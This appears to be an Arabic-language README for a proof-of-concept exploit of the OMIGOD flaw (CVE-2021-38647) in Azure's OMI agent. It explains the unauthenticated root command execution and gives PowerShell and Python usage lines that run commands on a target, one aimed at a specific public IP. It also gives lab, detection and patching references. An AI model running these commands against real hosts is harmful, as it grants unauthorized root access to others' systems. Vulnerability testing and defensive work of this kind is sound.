CVE-2021-38647

CVE-2021-38647 - POC لاستغلال تنفيذ أوامر عن بعد غير مصادق #OMIGOD على أجهزة Azure UNIX/Linux الافتراضية!

التفاصيل

في مايكروسوفت Azure، يتم تثبيت تطبيق OMI تلقائيًا عند استخدام خدمات مثل Azure Automation Accounts و Update Management و Log Analytics و Configuration Management وما إلى ذلك لأجهزة UNIX/Linux الافتراضية. كما يعرض تطبيق OMI الخدمة على المنفذ 5986 إذا تم استخدام خدمة Configuration Management لإدارة الجهاز عن بُعد.

يمكن لأي شخص لديه وصول شبكي إلى نقطة النهاية الضعيفة إرسال طلب يستفيد من موفر SCXcore بدون رأس Authorization وتنفيذ أوامر نظام التشغيل على الجهاز المستهدف بصلاحيات الجذر!

هذه الثغرة الأمنية تم إصلاحها الآن، لكن من الجيد دائمًا التحقق منها ضد أجهزة Linux الافتراضية في Azure.

الاستخدام

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

نشر بيئة الاختبار

قالب ARM للنشر على Azure - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

النشر بدون Azure - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

الكشف والتخفيف

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

لتخفيف الثغرة الأمنية، نحتاج إلى تحديث وكيل OMI إلى الإصدار 1.6.8.1 أو أعلى.

روابط مرجعية

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

مدونة

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

الإسناد

فريق WIZ - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

إخلاء مسؤولية

هذا المشروع مخصص للأغراض التعليمية فقط. لا يتحمل المنشئ أي مسؤولية عن أي سوء استخدام لهذه الأداة.